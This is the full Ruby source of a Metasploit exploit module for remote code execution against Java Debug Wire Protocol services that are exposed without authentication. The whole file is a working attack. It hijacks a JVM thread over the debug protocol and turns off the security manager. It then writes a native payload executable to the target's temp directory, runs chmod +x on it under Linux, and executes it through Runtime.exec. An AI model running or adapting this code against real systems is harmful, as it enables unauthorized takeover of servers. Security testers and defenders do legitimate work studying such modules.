Java Debug Wire Protocol Remote Code Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
HANDSHAKE = "JDWP-Handshake"  
  
REQUEST_PACKET_TYPE = 0x00  
REPLY_PACKET_TYPE = 0x80  
  
# Command signatures  
VERSION_SIG = [1, 1]  
CLASSESBYSIGNATURE_SIG = [1, 2]  
ALLCLASSES_SIG = [1, 3]  
ALLTHREADS_SIG = [1, 4]  
IDSIZES_SIG = [1, 7]  
CREATESTRING_SIG = [1, 11]  
SUSPENDVM_SIG = [1, 8]  
RESUMEVM_SIG = [1, 9]  
SIGNATURE_SIG = [2, 1]  
FIELDS_SIG = [2, 4]  
METHODS_SIG = [2, 5]  
GETVALUES_SIG = [2, 6]  
CLASSOBJECT_SIG = [2, 11]  
SETSTATICVALUES_SIG = [3, 2]  
INVOKESTATICMETHOD_SIG = [3, 3]  
CREATENEWINSTANCE_SIG = [3, 4]  
REFERENCETYPE_SIG = [9, 1]  
INVOKEMETHOD_SIG = [9, 6]  
STRINGVALUE_SIG = [10, 1]  
THREADNAME_SIG = [11, 1]  
THREADSUSPEND_SIG = [11, 2]  
THREADRESUME_SIG = [11, 3]  
THREADSTATUS_SIG = [11, 4]  
EVENTSET_SIG = [15, 1]  
EVENTCLEAR_SIG = [15, 2]  
EVENTCLEARALL_SIG = [15, 3]  
  
# Other codes  
MODKIND_COUNT = 1  
MODKIND_THREADONLY = 2  
MODKIND_CLASSMATCH = 5  
MODKIND_LOCATIONONLY = 7  
MODKIND_STEP = 10  
EVENT_BREAKPOINT = 2  
EVENT_STEP = 1  
SUSPEND_EVENTTHREAD = 1  
SUSPEND_ALL = 2  
NOT_IMPLEMENTED = 99  
VM_DEAD = 112  
INVOKE_SINGLE_THREADED = 2  
TAG_OBJECT = 76  
TAG_STRING = 115  
TYPE_CLASS = 1  
TAG_ARRAY = 91  
TAG_VOID = 86  
TAG_THREAD = 116  
STEP_INTO = 0  
STEP_MIN = 0  
THREAD_SLEEPING_STATUS = 2  
  
def initialize  
super(  
'Name' => 'Java Debug Wire Protocol Remote Code Execution',  
'Description' => %q{  
This module abuses exposed Java Debug Wire Protocol services in order  
to execute arbitrary Java code remotely. It just abuses the protocol  
features, since no authentication is required if the service is enabled.  
},  
'Author' => [  
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help  
'Christophe Alladoum', # JDWP Analysis and Exploit  
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module  
],  
'References' =>  
[  
['OSVDB', '96066'],  
['EDB', '27179'],  
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],  
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],  
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],  
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],  
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']  
],  
'Platform' => %w{ linux win },  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'Space' => 2048,  
'BadChars' => '',  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux'  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win'  
}  
]  
],  
'DefaultTarget' => 0,  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Mar 12 2010'  
)  
  
register_options(  
[  
Opt::RPORT(8000),  
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),  
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),  
], self.class)  
end  
  
def check  
connect  
res = handshake  
disconnect  
  
if res.nil?  
return Exploit::CheckCode::Unknown  
elsif res == HANDSHAKE  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Safe  
end  
  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def default_timeout  
datastore['RESPONSE_TIMEOUT']  
end  
  
# Establishes handshake with the server  
def handshake  
sock.put(HANDSHAKE)  
return sock.get(datastore['RESPONSE_TIMEOUT'])  
end  
  
# Forges packet for JDWP protocol  
def create_packet(cmdsig, data="")  
flags = 0x00  
cmdset, cmd = cmdsig  
pktlen = data.length + 11  
buf = [pktlen, @my_id, flags, cmdset, cmd]  
pkt = buf.pack("NNCCC")  
pkt << data  
@my_id += 2  
pkt  
end  
  
# Reads packet response for JDWP protocol  
def read_reply(timeout = default_timeout)  
response = sock.get(timeout)  
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response  
pktlen, id, flags, errcode = response.unpack('NNCn')  
response.slice!(0..10)  
if errcode != 0 && flags == REPLY_PACKET_TYPE  
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")  
end  
response  
end  
  
# Returns the characters contained in the string defined in target VM  
def solve_string(data)  
sock.put(create_packet(STRINGVALUE_SIG, data))  
response = read_reply  
return "" unless response  
return read_string(response)  
end  
  
# Unpacks received string structure from the server response into a normal string  
def read_string(data)  
data_len = data.unpack('N')[0]  
data.slice!(0..3)  
return data.slice!(0,data_len)  
end  
  
# Creates a new string object in the target VM and returns its id  
def create_string(data)  
buf = build_string(data)  
sock.put(create_packet(CREATESTRING_SIG, buf))  
buf = read_reply  
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)  
end  
  
# Packs normal string into string structure for target VM  
def build_string(data)  
ret = [data.length].pack('N')  
ret << data  
  
ret  
end  
  
# Pack Fixnum for JDWP protocol  
def format(fmt, value)  
if fmt == "L" || fmt == 8  
return [value].pack('Q>')  
elsif fmt == "I" || fmt == 4  
return [value].pack('N')  
end  
  
fail_with(Failure::Unknown, "Unknown format")  
end  
  
# Unpack Fixnum from JDWP protocol  
def unformat(fmt, value)  
if fmt == "L" || fmt == 8  
return value[0..7].unpack('Q>')[0]  
elsif fmt == "I" || fmt == 4  
return value[0..3].unpack('N')[0]  
end  
  
fail_with(Failure::Unknown, "Unknown format")  
end  
  
# Parses given data according to a set of formats  
def parse_entries(buf, formats, explicit=true)  
entries = []  
  
if explicit  
nb_entries = buf.unpack('N')[0]  
buf.slice!(0..3)  
else  
nb_entries = 1  
end  
  
nb_entries.times do |var|  
  
if var != 0 && var % 1000 == 0  
vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")  
end  
  
data = {}  
  
formats.each do |fmt,name|  
if fmt == "L" || fmt == 8  
data[name] = buf.unpack('Q>')[0]  
buf.slice!(0..7)  
elsif fmt == "I" || fmt == 4  
data[name] = buf.unpack('N')[0]  
buf.slice!(0..3)  
elsif fmt == "S"  
data_len = buf.unpack('N')[0]  
buf.slice!(0..3)  
data[name] = buf.slice!(0,data_len)  
elsif fmt == "C"  
data[name] = buf.unpack('C')[0]  
buf.slice!(0)  
elsif fmt == "Z"  
t = buf.unpack('C')[0]  
buf.slice!(0)  
if t == 115  
data[name] = solve_string(buf.slice!(0..7))  
elsif t == 73  
data[name], buf = buf.unpack('NN')  
end  
else  
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")  
end  
  
end  
entries.append(data)  
end  
  
entries  
end  
  
# Gets the sizes of variably-sized data types in the target VM  
def get_sizes  
formats = [  
["I", "fieldid_size"],  
["I", "methodid_size"],  
["I", "objectid_size"],  
["I", "referencetypeid_size"],  
["I", "frameid_size"]  
]  
sock.put(create_packet(IDSIZES_SIG))  
response = read_reply  
entries = parse_entries(response, formats, false)  
entries.each { |e| @vars.merge!(e) }  
end  
  
# Gets the JDWP version implemented by the target VM  
def get_version  
formats = [  
["S", "descr"],  
["I", "jdwp_major"],  
["I", "jdwp_minor"],  
["S", "vm_version"],  
["S", "vm_name"]  
]  
sock.put(create_packet(VERSION_SIG))  
response = read_reply  
entries = parse_entries(response, formats, false)  
entries.each { |e| @vars.merge!(e) }  
end  
  
def version  
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"  
end  
  
def is_java_eight  
version.downcase =~ /1[.]8[.]/  
end  
  
# Returns reference for all threads currently running on target VM  
def get_all_threads  
sock.put(create_packet(ALLTHREADS_SIG))  
response = read_reply  
num_threads = response.unpack('N').first  
response.slice!(0..3)  
  
size = @vars["objectid_size"]  
num_threads.times do  
t_id = unformat(size, response[0..size-1])  
@threads[t_id] = nil  
response.slice!(0..size-1)  
end  
end  
  
# Returns reference types for all classes currently loaded by the target VM  
def get_all_classes  
return unless @classes.empty?  
  
formats = [  
["C", "reftype_tag"],  
[@vars["referencetypeid_size"], "reftype_id"],  
["S", "signature"],  
["I", "status"]  
]  
sock.put(create_packet(ALLCLASSES_SIG))  
response = read_reply  
@classes.append(parse_entries(response, formats))  
end  
  
# Checks if specified class is currently loaded by the target VM and returns it  
def get_class_by_name(name)  
@classes.each do |entry_array|  
entry_array.each do |entry|  
if entry["signature"].downcase == name.downcase  
return entry  
end  
end  
end  
  
nil  
end  
  
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.  
# The list of methods will include constructors (identified with the name "<init>")  
def get_methods(reftype_id)  
if @methods.has_key?(reftype_id)  
return @methods[reftype_id]  
end  
  
formats = [  
[@vars["methodid_size"], "method_id"],  
["S", "name"],  
["S", "signature"],  
["I", "mod_bits"]  
]  
ref_id = format(@vars["referencetypeid_size"],reftype_id)  
sock.put(create_packet(METHODS_SIG, ref_id))  
response = read_reply  
@methods[reftype_id] = parse_entries(response, formats)  
end  
  
# Returns information for each field in a reference type (ie. object)  
def get_fields(reftype_id)  
formats = [  
[@vars["fieldid_size"], "field_id"],  
["S", "name"],  
["S", "signature"],  
["I", "mod_bits"]  
]  
ref_id = format(@vars["referencetypeid_size"],reftype_id)  
sock.put(create_packet(FIELDS_SIG, ref_id))  
response = read_reply  
fields = parse_entries(response, formats)  
  
fields  
end  
  
# Returns the value of one static field of the reference type. The field must be member of the reference type  
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;  
# for example, the values of private fields can be obtained.  
def get_value(reftype_id, field_id)  
data = format(@vars["referencetypeid_size"],reftype_id)  
data << [1].pack('N')  
data << format(@vars["fieldid_size"],field_id)  
  
sock.put(create_packet(GETVALUES_SIG, data))  
response = read_reply  
num_values = response.unpack('N')[0]  
  
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)  
fail_with(Failure::Unknown, "Bad response when getting value for field")  
end  
  
response.slice!(0..4)  
  
len = @vars["objectid_size"]  
value = unformat(len, response)  
  
value  
end  
  
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,  
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of  
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match  
# the field's type exactly. For object values, there must exist a widening reference conversion from the  
# value's type to the field's type and the field's type must be loaded.  
def set_value(reftype_id, field_id, value)  
data = format(@vars["referencetypeid_size"],reftype_id)  
data << [1].pack('N')  
data << format(@vars["fieldid_size"],field_id)  
data << format(@vars["objectid_size"],value)  
  
sock.put(create_packet(SETSTATICVALUES_SIG, data))  
read_reply  
end  
  
  
# Checks if specified method is currently loaded by the target VM and returns it  
def get_method_by_name(classname, name, signature = nil)  
@methods[classname].each do |entry|  
if signature.nil?  
return entry if entry["name"].downcase == name.downcase  
else  
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase  
return entry  
end  
end  
end  
  
nil  
end  
  
# Checks if specified class and method are currently loaded by the target VM and returns them  
def get_class_and_method(looked_class, looked_method, signature = nil)  
target_class = get_class_by_name(looked_class)  
unless target_class  
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")  
end  
  
get_methods(target_class["reftype_id"])  
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)  
unless target_method  
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")  
end  
  
return target_class, target_method  
end  
  
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")  
def str_to_fq_class(s)  
i = s.rindex(".")  
unless i  
fail_with(Failure::BadConfig, 'Bad defined break class')  
end  
  
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string  
  
classname = 'L'  
classname << s[0..i-1].gsub(/[.]/, '/')  
classname << ';'  
  
return classname, method  
end  
  
# Gets the status of a given thread  
def thread_status(thread_id)  
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))  
buf = read_reply(datastore['BREAK_TIMEOUT'])  
unless buf  
fail_with(Exploit::Failure::Unknown, "No network response")  
end  
status, suspend_status = buf.unpack('NN')  
  
status  
end  
  
# Resumes execution of the application or thread after the suspend command or an event has stopped it  
def resume_vm(thread_id = nil)  
if thread_id.nil?  
sock.put(create_packet(RESUMEVM_SIG))  
else  
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))  
end  
  
response = read_reply(datastore['BREAK_TIMEOUT'])  
unless response  
fail_with(Exploit::Failure::Unknown, "No network response")  
end  
  
response  
end  
  
# Suspend execution of the application or thread  
def suspend_vm(thread_id = nil)  
if thread_id.nil?  
sock.put(create_packet(SUSPENDVM_SIG))  
else  
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))  
end  
  
response = read_reply  
unless response  
fail_with(Exploit::Failure::Unknown, "No network response")  
end  
  
response  
end  
  
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM  
def send_event(event_code, args)  
data = [event_code].pack('C')  
data << [SUSPEND_ALL].pack('C')  
data << [args.length].pack('N')  
  
args.each do |kind,option|  
data << [kind].pack('C')  
data << option  
end  
  
sock.put(create_packet(EVENTSET_SIG, data))  
response = read_reply  
unless response  
fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")  
end  
return response.unpack('N')[0]  
end  
  
# Parses a received event and compares it with the expected  
def parse_event(buf, event_id, thread_id)  
len = @vars["objectid_size"]  
return false if buf.length < 10 + len - 1  
  
r_id = buf[6..9].unpack('N')[0]  
t_id = unformat(len,buf[10..10+len-1])  
  
return (event_id == r_id) && (thread_id == t_id)  
end  
  
# Clear a defined event request  
def clear_event(event_code, r_id)  
data = [event_code].pack('C')  
data << [r_id].pack('N')  
sock.put(create_packet(EVENTCLEAR_SIG, data))  
read_reply  
end  
  
# Invokes a static method. The method must be member of the class type or one of its superclasses,  
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private  
# methods can be invoked.  
def invoke_static(class_id, thread_id, meth_id, args = [])  
data = format(@vars["referencetypeid_size"], class_id)  
data << format(@vars["objectid_size"], thread_id)  
data << format(@vars["methodid_size"], meth_id)  
data << [args.length].pack('N')  
  
args.each do |arg|  
data << arg  
data << [0].pack('N')  
end  
  
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))  
buf = read_reply  
buf  
end  
  
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,  
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods  
# can be invoked.  
def invoke(obj_id, thread_id, class_id, meth_id, args = [])  
data = format(@vars["objectid_size"], obj_id)  
data << format(@vars["objectid_size"], thread_id)  
data << format(@vars["referencetypeid_size"], class_id)  
data << format(@vars["methodid_size"], meth_id)  
data << [args.length].pack('N')  
  
args.each do |arg|  
data << arg  
data << [0].pack('N')  
end  
  
sock.put(create_packet(INVOKEMETHOD_SIG, data))  
buf = read_reply  
buf  
end  
  
# Creates a new object of specified class, invoking the specified constructor. The constructor  
# method ID must be a member of the class type.  
def create_instance(class_id, thread_id, meth_id, args = [])  
data = format(@vars["referencetypeid_size"], class_id)  
data << format(@vars["objectid_size"], thread_id)  
data << format(@vars["methodid_size"], meth_id)  
data << [args.length].pack('N')  
  
args.each do |arg|  
data << arg  
data << [0].pack('N')  
end  
  
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))  
buf = read_reply  
buf  
end  
  
def temp_path  
return nil unless datastore['TMP_PATH']  
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')  
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')  
end  
datastore['TMP_PATH']  
end  
  
# Configures payload according to targeted architecture  
def setup_payload  
# 1. Setting up generic values.  
payload_exe = rand_text_alphanumeric(4 + rand(4))  
pl_exe = generate_payload_exe  
  
# 2. Setting up arch specific...  
case target['Platform']  
when 'linux'  
path = temp_path || '/tmp/'  
payload_exe = "#{path}#{payload_exe}"  
if @os.downcase =~ /win/  
print_warning("#{peer} - #{@os} system detected but using Linux target...")  
end  
when 'win'  
path = temp_path || './'  
payload_exe = "#{path}#{payload_exe}.exe"  
unless @os.downcase =~ /win/  
print_warning("#{peer} - #{@os} system detected but using Windows target...")  
end  
end  
  
return payload_exe, pl_exe  
end  
  
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes  
def fingerprint_os(thread_id)  
size = @vars["objectid_size"]  
  
# 1. Creates a string on target VM with the property to be getted  
cmd_obj_ids = create_string("os.name")  
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0  
cmd_obj_id = cmd_obj_ids[0]["obj_id"]  
  
# 2. Gets property  
data = [TAG_OBJECT].pack('C')  
data << format(size, cmd_obj_id)  
data_array = [data]  
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")  
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)  
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')  
  
str = unformat(size, buf[1..1+size-1])  
@os = solve_string(format(@vars["objectid_size"],str))  
end  
  
# Creates a file on the server given a execution thread  
def create_file(thread_id, filename)  
cmd_obj_ids = create_string(filename)  
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0  
  
cmd_obj_id = cmd_obj_ids[0]["obj_id"]  
size = @vars["objectid_size"]  
data = [TAG_OBJECT].pack('C')  
data << format(size, cmd_obj_id)  
data_array = [data]  
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")  
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)  
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')  
  
file = unformat(size, buf[1..1+size-1])  
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)  
  
register_files_for_cleanup(filename)  
  
file  
end  
  
# Stores the payload on a new string created in target VM  
def upload_payload(thread_id, pl_exe)  
size = @vars["objectid_size"]  
if is_java_eight  
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")  
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])  
else  
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")  
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])  
end  
unless buf[0] == [TAG_OBJECT].pack('C')  
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")  
end  
  
decoder = unformat(size, buf[1..1+size-1])  
if decoder.nil? || decoder == 0  
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")  
end  
  
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")  
if cmd_obj_ids.length == 0  
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")  
end  
  
cmd_obj_id = cmd_obj_ids[0]["obj_id"]  
data = [TAG_OBJECT].pack('C')  
data << format(size, cmd_obj_id)  
data_array = [data]  
  
if is_java_eight  
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")  
else  
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")  
end  
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)  
unless buf[0] == [TAG_ARRAY].pack('C')  
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")  
end  
  
pl = unformat(size, buf[1..1+size-1])  
pl  
end  
  
# Dumps the payload on a opened server file given a execution thread  
def dump_payload(thread_id, file, pl)  
size = @vars["objectid_size"]  
data = [TAG_OBJECT].pack('C')  
data << format(size, pl)  
data_array = [data]  
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")  
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)  
unless buf[0] == [TAG_VOID].pack('C')  
fail_with(Failure::Unknown, "Exception while writing to file")  
end  
end  
  
# Closes a file on the server given a execution thread  
def close_file(thread_id, file)  
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")  
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])  
unless buf[0] == [TAG_VOID].pack('C')  
fail_with(Failure::Unknown, "Exception while closing file")  
end  
end  
  
# Executes a system command on target VM making use of java.lang.Runtime.exec()  
def execute_command(thread_id, cmd)  
size = @vars["objectid_size"]  
  
# 1. Creates a string on target VM with the command to be executed  
cmd_obj_ids = create_string(cmd)  
if cmd_obj_ids.length == 0  
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")  
end  
  
cmd_obj_id = cmd_obj_ids[0]["obj_id"]  
  
# 2. Gets Runtime context  
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")  
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])  
unless buf[0] == [TAG_OBJECT].pack('C')  
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")  
end  
  
rt = unformat(size, buf[1..1+size-1])  
if rt.nil? || (rt == 0)  
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")  
end  
  
# 3. Finds and executes "exec" method supplying the string with the command  
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")  
if exec_meth.nil?  
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")  
end  
  
data = [TAG_OBJECT].pack('C')  
data << format(size, cmd_obj_id)  
data_array = [data]  
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)  
unless buf[0] == [TAG_OBJECT].pack('C')  
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")  
end  
end  
  
# Set event for stepping into a running thread  
def set_step_event  
# 1. Select a thread in sleeping status  
t_id = nil  
@threads.each_key do |thread|  
if thread_status(thread) == THREAD_SLEEPING_STATUS  
t_id = thread  
break  
end  
end  
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?  
  
# 2. Suspend the VM before setting the event  
suspend_vm  
  
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")  
step_info = format(@vars["objectid_size"], t_id)  
step_info << [STEP_MIN].pack('N')  
step_info << [STEP_INTO].pack('N')  
data = [[MODKIND_STEP, step_info]]  
  
r_id = send_event(EVENT_STEP, data)  
unless r_id  
fail_with(Failure::Unknown, "Could not set the event")  
end  
  
return r_id, t_id  
end  
  
# Disables security manager if it's set on target JVM  
def disable_sec_manager  
sys_class = get_class_by_name("Ljava/lang/System;")  
  
fields = get_fields(sys_class["reftype_id"])  
  
sec_field = nil  
  
fields.each do |field|  
sec_field = field["field_id"] if field["name"].downcase == "security"  
end  
  
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?  
  
value = get_value(sys_class["reftype_id"], sec_field)  
  
if(value == 0)  
print_good("#{peer} - Security manager was not set")  
else  
set_value(sys_class["reftype_id"], sec_field, 0)  
if get_value(sys_class["reftype_id"], sec_field) == 0  
print_good("#{peer} - Security manager has been disabled")  
else  
print_good("#{peer} - Security manager has not been disabled, trying anyway...")  
end  
end  
end  
  
# Uploads & executes the payload on the target VM  
def exec_payload(thread_id)  
# 0. Fingerprinting OS  
fingerprint_os(thread_id)  
  
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")  
  
# 1. Prepares the payload  
payload_exe, pl_exe = setup_payload  
  
# 2. Creates file on server for dumping payload  
file = create_file(thread_id, payload_exe)  
  
# 3. Uploads payload to the server  
pl = upload_payload(thread_id, pl_exe)  
  
# 4. Dumps uploaded payload into file on the server  
dump_payload(thread_id, file, pl)  
  
# 5. Closes the file on the server  
close_file(thread_id, file)  
  
# 5b. When linux arch, give execution permissions to file  
if target['Platform'] == 'linux'  
cmd = "chmod +x #{payload_exe}"  
execute_command(thread_id, cmd)  
end  
  
# 6. Executes the dumped payload  
cmd = "#{payload_exe}"  
execute_command(thread_id, cmd)  
end  
  
  
def exploit  
@my_id = 0x01  
@vars = {}  
@classes = []  
@methods = {}  
@threads = {}  
@os = nil  
  
connect  
  
unless handshake == HANDSHAKE  
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")  
end  
  
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")  
get_sizes  
  
print_status("#{peer} - Getting the version of the target VM...")  
get_version  
  
print_status("#{peer} - Getting all currently loaded classes by the target VM...")  
get_all_classes  
  
print_status("#{peer} - Getting all running threads in the target VM...")  
get_all_threads  
  
print_status("#{peer} - Setting 'step into' event...")  
r_id, t_id = set_step_event  
  
print_status("#{peer} - Resuming VM and waiting for an event...")  
response = resume_vm  
  
unless parse_event(response, r_id, t_id)  
datastore['NUM_RETRIES'].times do |i|  
print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")  
buf = read_reply  
break if parse_event(buf, r_id, t_id)  
  
if i == datastore['NUM_RETRIES']  
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")  
end  
end  
end  
  
vprint_status("#{peer} - Received matching event from thread #{t_id}")  
print_status("#{peer} - Deleting step event...")  
clear_event(EVENT_STEP, r_id)  
  
print_status("#{peer} - Disabling security manager if set...")  
disable_sec_manager  
  
print_status("#{peer} - Dropping and executing payload...")  
exec_payload(t_id)  
  
disconnect  
end  
end  
`